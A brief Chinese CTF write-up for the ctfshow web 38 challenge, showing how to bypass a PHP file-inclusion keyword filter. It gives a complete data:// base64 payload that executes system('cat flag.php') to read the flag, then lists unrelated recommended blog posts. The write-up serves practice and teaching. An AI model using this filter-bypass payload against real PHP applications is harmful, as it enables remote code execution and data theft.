ctf show web 入门38

打开靶场这道题目是之前那道题的进阶版。核心考点依然是 PHP 本地文件包含(LFI),但过滤规则显著增强了。

  1. 源码审计(核心变化)
    对比之前的题目,这次的正则表达式发生了变化:
    if(!preg_match("/flag|php|file/i", $c))
    新增黑名单:除了 flag,现在还过滤了 php 和 file。
    影响:
    你不能直接输入 flag.php(含有 flag 和 php)。
    你不能使用 php://filter(含有 php)。
    你不能使用 php://input(含有 php)。
  2. 解题思路:寻找"漏网之鱼"
    既然 php 和 file 被封杀了,我们需要寻找不需要这两个关键字的伪协议。
    所以我们可以继续使用 data:// 协议
    检查 data:// 协议本身:它不包含 php 或 file 关键字
    所以可以继续使用 Base64 编码来隐藏你的命令。
    代码:<?php system('cat flag.php');?>
    Base64 编码:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
    最终 Payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
    发现页面没有回显是=说明代码执行成功我们产看源代码得到flag
相关推荐
千寻xun8 小时前
一、理论篇-NVME协议学习笔记
笔记·学习·fpga开发·nvme ssd·nvme协议
Piko61414 小时前
锐捷 VSU 虚拟化堆叠配置
运维·网络·笔记
AOwhisky14 小时前
Python 学习笔记(第三期)——流程控制:条件判断与循环结构
运维·笔记·python·学习·云原生·流程控制·循环
Piko61416 小时前
锐捷交换机 DHCP Server部署
运维·网络·笔记
取地址符17 小时前
Rust学习笔记(基于Rustlings)(2):数据结构与集合
笔记·学习·rust
A.零点17 小时前
期末复习,408考研数据结构:第一章绪论完整知识梳理与真题深度解读
c语言·数据结构·笔记·考研
EQ-雪梨蛋花汤17 小时前
【Unity笔记】VR 一体机画面锯齿、模型边缘闪烁、接缝抖动排查:MSAA、Mipmap、Render Scale、Z-Fighting 全流程记录
笔记·unity·vr
茯苓gao17 小时前
嵌入式开发笔记:工业机器人通信协议深度解析——从现场总线到工业以太网
笔记·嵌入式硬件·学习·机器人·信息与通信
取地址符18 小时前
Rust语法学习 (基于Rustlings)(1):基础语法
经验分享·笔记·学习·rust
不会调制解调的猫18 小时前
笔记 | 什么是 rp_filter(反向路径过滤)?
服务器·网络·笔记